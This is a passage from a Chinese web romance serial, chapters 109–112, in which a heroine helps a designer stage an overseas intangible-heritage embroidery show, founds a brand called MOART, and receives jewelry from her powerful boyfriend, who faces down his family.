正好融恒那边的工作人员也接到恩永的信儿过来帮忙,清茉让孩子们先两人一组,帮四位非遗老师打包好东西,都编好号码,让玲玲拍照记好,清茉跟融恒负责人小梁说着:“小梁,你开我的车,能坐下四位老师,让他们先去公司,你帮给挑个宽敞的办公室,安排给四位非遗老师,安置好了再麻烦跑一趟帮我把学生接过去。” 安顿好非遗老师,清茉让孩子们赶紧打理自己的东西,拍照编好号码,好在他们都刚到,很多东西都没摊开,收拾地还算快,清茉让孩子们去检查宣传物料,纯图片和标题的都能接着用,标记运走,其他作废的都留下来清运。丹尼只负责工作室人员和他的作品,头脑清醒了些,也很快安置妥当,小梁又喊来几位同事开车过来,清茉让学生们先过去一批,留下两个人待会看着搬货清点。 恩永过来的时候,正好货车装地差不多了,恩永一看就是休假休得面色红润精神蛮饱,中气十足地很远就喊着:“姐!”大男生似的大步跑过来,先从自己兜里掏出来一个贝壳,献宝似的说着:“我今儿捡到的,这个颜色很少见吧,给,礼物,你听听,真有大海的声音。” 清茉笑着谢谢他,介绍丹尼,丹尼一整个变成了社会人,笑嘻嘻感谢道:“太给您添麻烦了,万分感谢。” 他们仨检查完最后的物资上车,恩永让清茉跟丹尼上他的车,路上说着:“我哥打电话嘱咐我了,要好好款待,晚上我订了餐厅,待会搬完咱们聚餐去。” 到了公司,趁着小梁领着丹尼一起分派房间,恩永拉清茉到一边,商量着:“姐,我大哥刚才在路上专程打电话嘱咐了我,怕有些事儿你不好意思开口提。我大哥的意思是,这次丹尼老师的差旅后勤费用,融恒全部赞助,反正办公楼也借给他们用了嘛,再追加些投入也没关系,但是要跟丹尼老师谈品牌露出,我看宣传品不是都要重新设计印刷嘛,融恒露出的话,对丹尼老师也是双赢,我觉得问题不大。另外重要的一点,我哥说,除了露出融恒,排在融恒上面的露出,希望是姐你自己的品牌,虽然来不及注册,但是姐你可以先想一个名字,工作室的名字,公司的名字,都可以,万一合作拍摄,我大哥觉得,正好可以借着丹尼老师的影响力曝光,正式把姐推出来,而不是单独作为朋友去帮个忙,白帮完就完事了。” “这几天我先做你助理,一些商务上的事儿,我帮忙盯着,我很赞同我大哥的想法,姐,我大哥,这是为之计深远呢,你们好甜哦,我也有点想谈恋爱了怎么回事。姐,你其实有很多优势,困在象牙塔里有一丢丢可惜,试试嘛,姐你本来就研究跨文化交流传播,这不正好是个契机嘛,我双手双脚赞成大哥。大哥的眼光一绝,市场嗅觉TOP,他的指导建议,业内都觉得比真金白银都昂贵,千金不换。” 清茉以为是施友臻之前的建议会是长期计划,会容她慢慢规划,慢慢想,春节假期刚结束,他前脚刚离开,就已经就着丹尼的事情,立马提点清茉要抓住机会。清茉因为林家生意失败,其实对于经营公司这类事务,从心里抵触,准确说是胆怯,所以她宁愿去做打工牛马拿月薪,宁愿躲进象牙塔里,她原本打算拿到学位就进高校,拿一份工资,安稳地做做课题,带带学生,这样没有风险。 可是会不会觉得遗憾呢?她还很年轻,如果真的那么规划人生,好像又要陷入一个畏畏缩缩的循环,就像当初外强中干不敢直视施友臻的眼睛那样。说实话看到丹尼虽然忙到一团乱麻,已经累到哑着嗓子还热情饱满地跟各个环节的工作人员安排事务,有急躁有抓狂,但是他眼里有光! 晚上小梁先组织大部队去了预订的餐厅,丹尼一定要清茉留下来先看一眼他主推的作品,恩永也好奇,丹尼单独拥有了一间宽敞的空间,总算喘口气,用的是公司的大会议室,他的作品在宽敞的会议室里放置,推荐给清茉的是他这次主打的两件,一件苏绣,一件粤绣。 丹尼将苏绣那件拿出来的时候,清茉真的觉得自己眼前流转过了轻盈的光彩,天然桑蚕丝线温润的光泽,苏绣和色无迹的色彩过渡,整件衣服仿佛在发着柔和的光,而粤绣那件则全然不再是苏绣的淡雅,用色浓烈大胆,立体绣和金银绣线给予繁复的图案物理意义上的在发光。 清茉觉得丹尼是天才,说着:“太美了丹尼,这才是高奢,我怕我穿也传达不出来这种美,应该找超模的吧?” 丹尼摇头,说着:“衣服再美,也只是载体,我的瓶颈是难以传达华服之外的文化信号,我的作品我当然知道美,问题是他们太美了,美到割裂,浮于表面,比如苏绣这件,我想让大家看到温婉但是不柔弱,粤绣这件,我想表达锋芒但是内敛,可是目前我的作品,它们只能表达出一个层次,温婉的美和锋芒的美,我试过太多模特,还有专业的演员,都差强人意,你试试吧茉茉,你不是灵魂空壳,也不是表演家,或许可以呢?” 恩永在旁边抱着胳膊围观,点评道:“好像我姐真的挺合适哎,尺码合适吗?” 丹尼:“有我在尺码怎么都会合适。” 清茉拒绝着:“今儿不行,这么出色的作品我肯定得沐浴更衣再来试,明天吧,丹尼我可以拍个照片吗?得给我哥看一看,虽然你吐槽我,我还是得尊重他的意见嘛。” 丹尼胸有成竹,说着:“尽管拍,施总也会为我的作品折服。” 恩永:“咱们也先去吃饭?边吃边聊?” 恩永订的餐厅是当地有名的一家本地菜,工作室的人和非遗老师们吃得很开心,孩子们更不必说,三人打了一圈招呼后落座,丹尼长舒一口气,说着:“太累了我的天,养活这一大家子真是奴才干的活,今儿谢谢茉茉,谢谢恩永,帮大忙了。” 清茉已经开始在手机上查阅各种资料,尤其是关于各种绣法的介绍,问丹尼:“文字也需要重新编辑吧?我感觉之前那版介绍文字,很表面,没有把咱们这么好的艺术传达出去。” 丹尼点头,说着:“茉茉,我从之前的公司跳了出来,各种事务都要自己把关,人的精力真的是有限,我现在服了,这次过来时间仓促,文字我也觉得一般,能用,但是不惊艳,这还是花钱请人写的呢,问题在于,尝试了很多稿,没有更好的稿了。” 清茉点头,说着:“明儿我采访一下几位非遗老师,我帮你写一版。” 恩永明显地咳嗽了一声,开始谈正事儿,说着:“我受融恒施总所托,提议赞助丹尼老师团队本次海外秀场活动的差旅和后勤费用,在此基础上呢,建议由林清茉女士的公司作为文化合作的特别支持单位,共同参与。” 丹尼一愣,问着:“融恒赞助?” 恩永点头:“对。” 他扭头看清茉,问着:“你有公司了?” 清茉笑:“哦,我哥建议我先有一个,跟你谈正式合作。” 丹尼脑子转得快,分析着:“背靠大树好乘凉,我可以同意,但是我需要融恒投入宣发支持。” 恩永:“可以谈。” 丹尼问清茉:“那么请问林小姐,贵司能提供什么合作内容?” 清茉不自觉坐直了身子,她算是第一次谈这种事务,恩永眼神鼓励地看着她,清茉捋了捋思路说着:“目前看,我觉得我可以提供文字翻译撰稿支持,跨语境文化传播建议,以及……或许我可以尝试演绎你作品想传达的意境。” 丹尼笑:“够实诚的茉茉,谁教的你啊?施总手把手教的?不对,施总的风格应该更咄咄逼人,你太温柔了我的天,等一下,感觉我被你们做局了呢?” 清茉有点不好意思,说着:“丹尼,其实帮你忙也无所谓的,我哥想推着我往前走走,你要是为难,不采纳也没关系。” 丹尼立马说着:“别啊,谁说我为难,我觉得可太TM好了,茉茉,你刚才没说点儿上去,或者你就是太含蓄了,直白一点说,我的团队,缺少文化厚度,我刚需这种人才来帮我提升层次,踏破铁鞋无觅处,这不你正好来填补了嘛,而且你带来的可是融恒的支持,对我是天上掉馅儿饼好吧,来来来,为了伟大的合作,干杯!” 丹尼真是讲话嗓子都哑了,但是因为融恒集团的支持加入,和清茉的建议,他又有了很多灵感完善大秀计划,直接掏出平板,一边吃一边聊一边写写画画,恩永头一次围观艺术家工作,被丹尼无尽的创作热情惊到,也在旁边认真听着。清茉招呼着团队其他人先回去休息,他们仨一直聊到餐厅打烊,丹尼的脑洞还是层出不穷,恩永问着:“咱们转个场?” 清茉看了眼时间,说着:“恩永你带着行李吧,丹尼你的呢?我家客房正好两个,你俩去住我家?” 恩永问着:“大哥不介意吗?” 清茉点头:“我刚才报备了,他说可以,你自己不可以,加上丹尼估计就可以了。” 恩永:“这么乖的吗姐?丹尼老师,我跟您沾光了,大哥竟然同意了。” 丹尼眼中还是激情创作的光,已经规划到舞美灯光的改进方案了,恩永代表着融恒,仿佛成了技术支持,丹尼问恩永能不能调来这个调来那个,恩永就现场打电话发信息问,他们在欧洲也有很完整庞大的关系链条,能答应的,就都答应。 丹尼借了茉茉的车,开回酒店拿行李,恩永先载着清茉回家,车上恩永又跟清茉聊了一会,恩永总结说着:“姐,其实你运营自己自媒体账号的时候我就发现,你有点喜欢藏拙,今儿跟丹尼老师聊天的时候我也观察到了。我有时候对接推广的工作,市场上找一个靠谱的撰稿超难,你还是多语种的跨文化传播研究人员,关键你还是他钦点的模特,之后估计推广拍摄也要你来,我完全理解我大哥,姐,你对自己未来的身价,是不是没有概念啊。” 清茉好像确实,还没有什么实感,恩永乐:“算了,姐,你慢慢体会吧。” 清茉趁着早回家的一会,给施友臻打了视频通话,她哥那边是清晨,施友臻刚出发准备晨跑,接起清茉的通话,表情不咋好看地质问清茉:“怎么熬夜,现在过凌晨十二点了吧?” 清茉嘿嘿陪笑,汇报着:“恩永跟丹尼过来小住几天,我收拾一下房间。哥,恩永都告诉我了。” 施友臻“嗯”了一声,明显是已经开始跑步了,他戴着运动耳机,清茉听到施友臻跑步的呼吸声,突然就脸红了,猫在主卧阳台沙发上,捧着手机听耳边施友臻的呼吸,施友臻半晌听不到她动静,问着:“林清茉?睡着了?” 清茉脑子里都忘了正事儿,小声说着:“哥,你跑步的喘气声,色S的哎,我得藏起来听。” 施友臻被她逗笑,问着:“所以睡不着给我电话?” 清茉捂着电话说着:“哥,好想你哎,想贴贴抱抱。” 施友臻:“林清茉,今天这个局面,是我造成的还是你造成的?” 清茉:“一人一半嘛,对了哥,说正事儿,哦,忘记把丹尼的设计成衣发给你了。” 清茉发过去,施友臻停下脚步看了一眼,说着:“嗯,还不错,你的想法呢?” 清茉:“很惊艳的设计,布料、刺绣都是顶级里的顶级,丹尼的款式设计也很顶,一件像山顶上的云,被月光照着,一件像矿山里的宝藏,被火把照着,很美,很文艺,丹尼的色彩跟布料,像让色彩流动了起来,实物超漂亮,我想试试。” 施友臻又开始了跑步的步伐,清茉脸红红,小猫似的软软说着:“哥,你故意的吧?” 施友臻问:“忍不住你就别念书了,现在飞回来。” 清茉:“那我哪敢,你肯定先揍我一顿。哥,你说我要是真的办个公司,叫个什么名儿?哥你给我起一个嘛。” 施友臻界限分明,拒绝:“自己的事情自己办,林清茉你自己想。” 清茉听着他的声音,想了想说着:“MOART,M-O-A-R-T怎么样?大方简洁。” 施友臻停下脚步,重复念了一遍:“MOART,可以,MOART Culturepany。” 第110章 第一百一十章 施友臻手边,放着当初给…… 施友臻手边, 放着当初给清茉编辑的高校专业推荐名录,上面还有清茉写写画画的痕迹。他工作之余坐在那里翻看,当初生气她的欺骗和不告而别, 这本书就是罪证,而今千帆过尽,再重新拾起来看, 就是另外的感触了。 他想象着清茉当初在上面圈画的时候会是什么样的心境,会不会遗憾人生轨迹的无常, 施友臻愈发感觉自己当时何等残忍, 相当于将清茉用努力生活掩埋掉的过往, 重新掘地三尺血淋淋剖开。 那时候她笑脸盈盈地坐在面前, 面对着施友臻精心准备的“人生选择”, 这些确实可能是清茉还在富庶之家时,可能会拥有的选择,她从小喜欢漂亮闪亮的东西, 或许会像其他富家千金一样, 学艺术投资,学珠宝设计, 开着华丽又烧钱的公司, 张扬烂漫地天不怕地不怕, 因为有兜底的家底。 清茉那时候,讲着应付的话, 笑着说谢谢, 笑意里带着轻描淡写的调皮,施友臻当时只当她是没心没肺的挑衅。现在想,就是还必须笑着面对才残忍,她心里的荒凉和难过无法传达, 连爱意都要狠心舍弃。林清茉连难过都要小心翼翼地掩饰,只是偶尔目光瞧着别处走神,喊她后她立马带上甜甜笑意,像什么都没发生。 施友臻一页一页看着她当时的笔迹,合上后在扉页上写了“MOART”。 这个册子,仿佛成了愿望清单,施友臻想给予她的女孩一点点补偿,就借着这个契机,让她做自己好奇的事情,可以功利,也可以不功利,都可以。 施友臻算着时差,下午给清茉拨过去电话,清茉已经起床投入工作,声音里满是朝气,汇报着:“哥,我马上就试衣服,等我传给你照片,好美好美,可我觉得我上去走秀不合适,怎么说都是非专业,我跟丹尼建议,实在需要我的话,就先试试推广照片的拍摄,我可以参加秀场发布会之后的交流推介环节。” 施友臻:“嗯,等你照片,林清茉,就算忙起来,饮食和睡眠也要规律,按时报备的规矩不能破坏,昨天你熬夜,已经记一笔了,自己掂量着。” 清茉讨饶:“昨儿通融一次嘛,我肯定注意,丹尼还没想到怎么取景,估计先采风,我要是真的拍摄,肯定会注意饮食注意睡眠,这样才能拍出好状态,哥你放心。” 她不说还好,一说,施友臻立马又警告:“不能因为拍摄节食,林清茉你再瘦一两都不行。” 清茉出院后,虽然被施友臻很精心地养了一段时间,但是当时底子消耗地厉害,施友臻一直觉得她还是过于瘦,年假在一起的那些日子,每天早晚都要她称体重,清茉觉得施友臻过于紧张,哄着:“知道知道,肯定不会减肥,我晚上回家拍体重给你看!” 终于哄着施友臻继续去工作,清茉结束通话松口气,抬头就看到丹尼嘴角擒着坏笑,痞痞地模仿着:“通融一次嘛~拍体重给你看~啧,快去换衣服,我拍几张看看。” 清茉先去试穿了苏绣的那套,丹尼围着她转了一圈,举着相机拍了很多张,表情很严肃,弄得清茉心里也没底儿,让清茉换粤绣那件,丹尼又是咔嚓咔嚓一顿拍,拍完放到电脑上研究,清茉过去问着:“怎么了,吭个声啊?” 丹尼一张一张过照片,全部过完了才说着:“这两套,茉茉,就只给你穿吧,我待会稍微修一下尺寸。” 清茉更没底儿了,问着:“到底怎么了啊?我给你穿坏了?这不是主推款吗?秀场上不发布还怎么主推啊?丹尼,咱们是专业的,穿这两套的模特都已经试过修过衣服了吧,我还是强烈建议秀场让专业模特来,我不行的。专业的事儿一定得专业的人来干。” 丹尼没否认,又从头浏览了一遍照片,搞得恩永都在旁边紧张,他半晌才说着: “放心啦,除了这两件,我还有完整的四套名绣单元展示,那四套也是完整的展示逻辑,说实话,反倒是这两件,是另外一个增设单元,现在刚好,就是这两件,茉茉,你确实最合适,我眼光真是毒辣,我服我自己,今儿这还是没上妆,没取景,没灯光,看看,看看,林清茉,看看,当时你给六六拍摄的那些试妆照,私下在圈子里火过一段时间你知不知道?” 清茉松口气,她也搞不懂艺术家的口味,反正面对镜头的时候,丹尼让她放松就放松,拍摄的时间久,她还会走神,可喜欢这两套衣服的心情是真的,就会揣度丹尼和刺绣老师们想传达的心情,反正也会多想一些,延伸到怎么用文字,怎么用情绪来表达。 清茉很小的时候,家里有长辈喜欢戏,是名票,清茉寒假暑假过去住的时候,会被教几段戏,学戏得练眼神,小小的孩子不懂,长辈怎么教,就怎么转眼珠子,断断续续练过一段时间,她本来眼睛就生地黑亮,不知道是不是因为练过戏,长大了眼睛也常被夸有神有韵。反正施友臻放肆亲密之后,总喜欢面对面看着她的眼睛,有时候恶劣地故意把她弄哭失神,反复去亲吻她的眼角。 丹尼回头问他们:“有没有感觉,是一种赋予生命力的美,茉茉的眼神,就是我想要的那种……嗯,看过一些老照片没?有些大家闺秀,或者先生名流,她们的目光,就是这种感觉,腹有诗书气自华,一种有女性力量感的love & peace。” 恩永朴实说着:“好看,确实好看,我懂丹尼老师的意思,衣服还是得穿在人身上。” 丹尼:“……” 清茉也懵懵懂懂,反正丹尼满意就行,问着:“那么就定下来我拍摄吗?丹尼,我拍摄的时候,还是需要你专业指导,今天有点随性了,有几张眼神太飘,我晚上回去再好好看看资料。好像准备工作超多吧,我天,所有宣发照片重新拍摄、编辑、打印,咱们得抓紧了吧,邀请函跟宣传片要是没有原则性错误,不再更换了吧,丹尼,你什么时候去秀场彩排?出个倒排期和人员分工吧。” 丹尼:“哦哦哦,好,你慢慢说我一样一样安排……邀请函上没错误,不用重新发,但是宣传片……茉茉,我录一版你的,尽量赶出来,问题是……国内的话,有园林和古建可以取景,之前拍摄是去四大名绣发源地取的景,现在只能去找摄影棚了。” 清茉想了一会,说着:“就用这里的景观怎么样?城市景观,自然景观,试试在海外的建筑空间里,或者海边,山岗,森林,咱们艺术的美,不仅配适东方园林古建,在异国风景里也会很美,我跟恩永知道很多漂亮地方,试试?” 丹尼立马鼓掌,说着:“这个好,走走走去取景。” 清茉推荐了施友臻经常下榻的那家百年老酒店、朝圣徒步路上的教堂、她学校里古老的图书馆、还有总是摆满玫瑰花的花店,恩永推荐了拥有瀑布的毛榉森林,还有他爱去的海边和峡湾。 他们花了一天的时间奔波几百公里,将所有的拍摄地点确认,返程回来又是深夜,丹尼兴奋地眼睛里放光,嘱咐清茉晚上好好休息,明天后天会带上摄影摄像服化道大部队一起拍摄,他要熬通宵整理拍摄计划。恩永载他俩回家,感慨着:“疯狂的艺术家。” 清茉跑了一天都觉得累了,施友臻好像为了配合她的时差,又调早了晨跑时间,清茉洗漱好出来,看到了施友臻的未接来电,赶紧拨了回去,她白天把试装照片发过去后,都没来得及跟她哥多聊两句,清茉躺床上,问候着:“哥,怎么这么早就起床跑步啊?” 施友臻再次强调她入睡的时间过晚,清茉央求着:“明天肯定早睡。”她把今天的取景情况都跟施友臻一一汇报,问着:“哥,你觉得我穿好看吗?” 施友臻应着:“好看。” 清茉:“看丹尼的意思,海报会重拍我的版本,视频也是,不过因为时间太赶,我建议他之前的版本也保留,到时候看哪个效果好用哪个。丹尼超固执,我不上去走秀,就直接放弃这两套在走秀里露出了,直接改成我的尺寸,搞得我压力挺大,发布会秀场后我会跟四位非遗老师有个专场的推介活动,到时候我再展示加讲述。” 施友臻问了具体日期,说着:“宣发主推也是主推,恩永说丹尼想要融恒多支持些宣发,你呢,想要吗?” 清茉翻了个身,说着:“对于丹尼来说当然好,我的话,听哥的,高调有高调的好,低调有低调的好。” 施友臻问:“可我想听你的想法?茉茉,你的想法呢?” 清茉被他反问,有点小紧张地手指揪着枕巾的一角磨来磨去,试探着回答:“我觉得是很好的作品,宣发跟上的话,会很有意义。” 施友臻鼓励她继续讲明白诉求,问着:“所以,希望追加宣发支持吗?” 清茉小声“嗯”了一下,施友臻故意问着:“大声一点,我听不到。” 清茉脸都有点红,说着:“哥,可以吗?想要好好宣传。” 施友臻轻笑,很满意的样子,说着:“好。” 拍摄如期进行,当天晚上,丹尼的第一张海报顺利产出,高清海报上,清茉穿着月牙白苏绣华服,穿行在异国百年酒店老建筑外的街景中,团队所有人研讨了这张海报,一致通过,平面设计师跟丹尼一起通宵精修加工了文字和排版,定版后,丹尼正式发送给了施友臻。 丹尼工作室发布后,融恒集团的官号也同步发布。融恒集团的官方文字将这次活动,纳为集团助力优秀传统文化出海的系列公益赞助活动之一,介绍了设计师丹尼本次推动四大名绣走向国际舞台的意义,海报上的信息明确,标题是大秀的名字,下方文字注明: 设计师:丹尼 首席合作伙伴:MoArt Culture 荣誉合作伙伴:融恒集团《 》 110-114 第111章 第一百一十一章 融恒集团有固定的业务…… 融恒集团有固定的业务部门支持各个领域的公益事业, 除了科技医疗公共服务,融恒也会支持文化项目,现在的经济形势下, 像融恒这种真金白银实打实的资金投入,是很多文化行业求之不得的扶持机会。 可是要想得到融恒的支持,需要经过一系列严格的考核选拔, 从项目征集到专家评估到预算评审再到项目验收,流程严格, 资金分批, 可不是想要就能得到的容易事儿, 因为执行严格, 所以融恒竟然能在非主业的领域推出文化精品活动, 近年的文旅合作项目甚至拿到了业内的奖项。 清茉的海报很有视觉冲击,丹尼用视觉设计给海报继续锦上添花,融恒官方号发布了这么一张质感十足的时尚海报, 瞬间先在内部引起了话题, 平时官号发正经内容的时候大家都爱搭不理,这次嗅觉灵敏的集团总部职员第一时间在官号下面排队鼓掌, 又立刻转发到了二级三级公司。 有人莫名其妙, 不知道为什么大家都在传这条, 平时有公益文化项目的时候,也没见大家这么热火朝天, 敏锐的人已经在查设计师丹尼还有那个排在融恒集团上面的“MoArt Culture”, 并讨论为什么搜不到相关注册信息,压融恒一头的究竟是何方神圣。 少衡当时在融恒置业开会,副总姐姐在冗长的会议中点开手机刷了一下,手一顿, 直接递给了身旁的少衡,少衡也是一愣,用自己的手机打开那张照片,仔细放大缩小、缩小放大,看了又看,保存后听会也开始走神,干脆宣布先休息一会,一刻钟后再开。 这!跟!官!宣!有!什!么!区!别! 少衡有一个电话给清茉打过去的冲动,忍了忍,没打,但是给他哥打了过去,他哥倒是接了,少衡问着:“哥,什么意思啊?是不是有点过于高调了?” 施友臻自从跟清茉恋爱之后,还是有些变化,最起码怼人的时候,不是阴沉着怼,而是润物细无声地怼,他问少衡:“好看吗?” 少衡老实,并实话实说:“当然好看。” 施友臻:“嗯,那就好好看。”说完就结束了通话。 少衡:“……” 丹尼那边紧锣密鼓地拍摄,一边拍一边制作,很快融恒集团又发布了全套清茉拍摄的海报和宣发视频,视频经丹尼重新剪辑,将新旧两版融合,海内外取景视角碰撞切换,视觉冲击的层次感更丰富,而清茉在视频中是美如精灵一样是串联的灵魂。 施友臻知道,一经发布,肯定不会风平浪静,不过他只接了施爷爷的电话,施爷爷夸奖着:“茉茉漂亮得很,正好体现咱们融恒的人文温度,不错不错。” 施友臻知道像施爷爷这样的老江湖,讲的话只能听一半,客气地谢了爷爷,爷爷旁敲侧击些有的没的,施友臻都不做正面回答,反正没人做得了他的主,施爷爷也不能。他以前就很独,现在清茉是他心里不能碰触的火焰,谁越界就烧谁。 他会在有投影的房子里,深夜循环播放清茉拍摄的宣传片,在独处的安静空间中,欣赏冲击感十足的巨幅高清画面,他凝视着她的眼睛,也凝视着她的一切,明珠不该蒙尘,她就该这样明媚张扬。 清茉对于融恒怎样追加宣发,其实没有什么概念,直到她发现四大名绣发源地的当地文旅开始加入活动宣传,当时取景地就是在那些地方,宣传片中很多当地的人文符号,尤其是丹尼的大秀预告还上了热搜,非遗老师都接到好多国内拨来的电话,说他们那边接到好多合作咨询和产品咨询。 丹尼发布新内容的时候,将拍摄过程中的取景地文旅全部艾特了一圈,又将踏勘采风走过的非遗合作机构艾特了一番,也将四位非遗老师的工作室链接放上去。老师们很开心,毕竟受到的关注越多,就更能盘活他们的传承,对丹尼和清茉格外感激。 清茉跟老师们聊天的时候,也慢慢有了一点运营MoArt Culture的想法,聊天之余就赶紧把灵感记下来,大秀之外,也有了更远的期待。 丹尼发现国内国外有好几家重量级媒体联系过来,有时尚领域垂直的,也有重磅权威的,丹尼就算久经沙场,彩排的时候都有些紧张兮兮地焦虑,因为增加了重量级人物,座位都要重排,他继续两眼通红熬大夜。 清茉状态则好得多,一段一段精修着介绍文字,修完一段,配着视频和图片宣发一段,因为融恒的官号一直在转发,他哥没说什么,倒是少衡一条一条发给清茉,每发一条配一个感叹号,一个白眼表情包。 拍摄还有一点收尾工作,清茉跟丹尼敲定第二天的拍摄计划后,就先回去休息了,恩永陪着清茉一块回家,不过在快到家门的时候,远远看着一个人垫着脚往院子里瞧,还不时摁着门铃,恩永挡在清茉身前,对方听到脚步转过脸来,双方都松口气,夏助理先抱怨上了:“您二位怎么谁也不接电话啊,把我急坏了。” 清茉笑着打招呼:“您怎么过来了?走路聊天,就没听到手机声。” 夏助理抱紧自己的行李包,说着:“林小姐,您先开门,咱们得进屋说。” 清茉看他鬼鬼祟祟的样子,就赶紧开门,夏助理走到屋内才稳稳当当将他的包放在桌上,说着:“受施总委托,给您捎点东西过来。” 他说着,小心取出了几个精致的盒子,更小心地一字排开,更更小心地逐一打开。 恩永凑过去看了一眼,无语道:“我大哥就让你这么抱着拿过来了?” 夏助理无语道:“我也是这么问施总的!但是他应该觉得这边会着急用!就让我人肉快递过来了!我紧张崩溃了我都!你们先别动,我要先拍照返给施总!录开箱视频!” 施友臻给她带来三套收藏级珠宝:一套翡翠,一套宝石,一套珍珠。 耀眼到恍惚,清茉的目光被那套翡翠中的手镯夺去,里面明显不是当初她还回去的那对,施友臻给她配了新的一对,清澈深邃,华光自生。 第112章 第一百一十二章 施友臻收到夏助快递送…… 施友臻收到夏助快递送达返图的时候, 正坐在施爷爷老宅子的饭桌上,一顿无聊的,伪善的, 图穷匕首见的家庭聚餐。 他点开图片,照片上的三套珠宝,是他精心挑选出来给清茉搭配用的, 用到用不到看她需求,反正施友臻觉得跟丹尼的设计作品很契合。其中的珠宝是清茉住院期间, 他天天闷头翻看画册, 早就买好的, 其中有一枚胸针是蓝宝石、沙弗莱石和钻石镶嵌的长尾飞鸟展翅, 鸟喙衔着一颗水滴形南洋珍珠。 当时他觉得蓝绿宝石的飞鸟生机勃勃, 那时候他想,等清茉康复了,要送给她。送给她带着大自然欣欣向荣生命力的美丽宝石, 他那时候想, 清茉一定一定要康复起来。只是购买的过程稍微漫长,还好赶上了这次活动。 夏助理的照片拍到了清茉的侧脸, 他的女孩红唇半启, 明显是惊讶的表情, 她总是将自己的期待值低入尘埃。所以在她拒绝接受爱意的时候,再雄厚的财力也是贫瘠, 施友臻能感受快乐的事情, 是她终于愿意接受馈赠。 施友臻反复放大那小半张脸,她惊讶的样子,好可爱。 他想快点离开这个宴席,立刻跟清茉视频通话, 听他的小女孩雀跃开心地分享收到礼物的心情。 春节的时候没有家族聚一下,施爷爷最近就组织了这样一次,冗长的宴席终于接近尾声,他在席间被爷爷张罗着,喝了几杯酒。他本来就不想来,少衡特意劝了两句,他俩都知道避免不了谈到清茉的话题,少衡说如果一直回避,以后可能妖风更盛,倒不如就赴了鸿门宴,毕竟清茉之后不能一直活在真空里。 少衡说:“你又不能真把她缩小成小手办,天天揣在口袋里保护吧。” 被酒精干扰到大脑的施友臻此刻走神地想,要是有把她缩小的魔法就好了,他天天揣在兜里,每天给她换小小的可爱的漂亮衣服,一个手指就能摁住她的张牙舞爪,光想想就太有趣了。 “最近都知道老大谈俩爱了,好事好事,好像是之前林家的姑娘,是吧老大?什么时候给大伙介绍介绍?她家里现在什么情况?林家知道闺女跟咱们家谈,乐开花了吧?”终于张嘴的人,不是施爷爷,是小叔。 施友臻抬眼望过去,不咸不淡地“嗯”了一声。 小叔看他对话题不热情,接着发挥道:“没想到老大恋爱这么高调,连融恒的官方都拉出来站台,不过,融恒是大家的嘛,老大你这算不算公器私用啊?” 施友臻听清楚后,笑了一下,少衡瞥见他哥那一笑,心里一凉,知道今儿要精彩了。果然听到他哥问着:“谁的私?谁的公?” 小叔被他反问地一愣,看了眼施爷爷,说着:“融恒当然是我们大家的啊,老大你什么意思?你这样一言堂,为所欲为折腾,我们大家什么都不闻不问也不合适吧,总不好当成没发生吧。” 施友臻点点头,说着:“既然提出质疑,我也没什么好说的,很抱歉没法让您对我继续保持信任。小叔,您也还年轻,不如您合计合计,融恒的哪部分是您的私有财产,建议进行切割,独立发展,眼不见为净。” 少衡听了,没忍住,嗤笑出声。 其他人都不吭声,彼此看着眼色,一桌人安静了下来,似乎在等施爷爷开口。 施爷爷还没张嘴,施友臻又说着:“融恒很大,容得下的时候,可以容下,容不下的时候,解决尾大不掉的问题,也很好。” 听懂人话的,应该都听懂里面的意思了,施爷爷本来以为他讲完了,要打圆场,施友臻又来了一句:“我的建议是都现实一点。还有,既然今天长辈们这么关心,”他正式官宣着:“林清茉,我现在正式交往的人,还有什么好奇的吗?” 那谁还敢问啊? 施爷爷赶紧说着:“好了好了,谈恋爱是好事儿嘛,时间也不早了,都回去休息吧,明天还要上班。” 其他人赶紧散了,施妈妈无语地扔给他们哥俩一个白眼,施爸爸乐呵呵拍了拍他肩膀,怪自豪的样子。倒是施友臻没着急走,爷爷沏了茶给他醒酒,少衡也一起,要待会开车载他一起回去。 施友臻问着:“爷爷,小叔问的话,其实是您想问的吧?” 爷爷没回避,说着:“长辈总该有提醒的义务,女人是后院的事儿,没必要一直放在明面儿上。” 施友臻平时就烦,这会喝了几杯酒,更烦,烦透了,说着:“爷爷,融恒在您手里什么样,在我手里什么样,您有认知吗?” 爷爷一怔,少衡也警惕地放下手里的瓜子,他哥这是又要放雷霆大招了,果然,他哥说着:“对小叔讲的话,对我自己也适用,我不介意把自己也切割出去。” 施友臻说着,抬眼看了下少衡,说他无情吧,他还又补了一句:“少衡我也带走。” 少衡立刻举手:“我愿意。” 施爷爷:“……” 施友臻逼问:“不试试吗?既然都知道林清茉家就是隔壁林家,那可该见多了大厦将倾都是一夜之间,我可以给少衡兜底,您也能给小叔兜底吗?爷爷,您年纪大了,心软了。” 施爷爷沉默了很长时间,施友臻也没有讲话,直到最后,施爷爷妥协了,说着:“好,以后,我都不过问了。” 少衡以前静不下心去揣度,如今他坐在一旁,竟然也开始看清了眼前的局。难怪他哥总是独来独往孤身一人,他那么早熟聪慧,大概早就看清了所谓的大家族的温情。他哥其实不够狠心,一直留着一线,容忍着各家各户明里暗里分一杯羹,今天围剿似的家宴,他哥烦得很,周旋都懒得周旋,直接要釜底抽薪了。 他哥厉害着呢,施爷爷想给小叔立威,结果被迫彻底完成了权力的代际交割。 少衡载着他哥回去的路上,乐道:“哥,我刚才都想给你鼓掌。” 施友臻扯开自己领口,对弟弟真情流露,说着:“烦。” 少衡:“确实,我最起码知道自己几斤几两,有人这是真不知道。” 进了市里,施友臻报了清茉小房子的地址,少衡一听,相当无语,把他哥扔小区门口,说着:“哥,茉茉没觉得你某些方面挺变态的吗?” 施友臻没理,上楼躺倒卧室床上,酒精让他觉得心里好空,床上好像还留着一点旖旎的气息,施友臻很想念清茉卧室玫瑰花的味道。 打过去视频,清茉很快接起来,果然她很开心地说着:“哥,太贵重了,超美,明天我给丹尼看看,感觉珍珠跟苏绣超搭!” 施友臻问她:“喜欢吗?” 清茉:“这不是喜欢的问题吧,心意太沉了哥,我得使劲儿使劲儿使劲儿捧着呢。”她边说边做出很俏皮的托举动作。 施友臻:“戴上,我看看。” 清茉已经换了睡衣,是水流一样顺滑的一身黑色丝绸裙,她起身去取了那套翡翠,将凝脂温润的帝王绿珠链戴上,还有那对手镯。清茉戴到镜头前,问着:“哥,怎么不是之前那对?” 翡翠的绿,皮肤的白,丝绸的黑,到底谁发着凝脂的光泽,施友臻的呼吸都重了些,听到她明知故问:“哥,怎么不是之前的那对?” 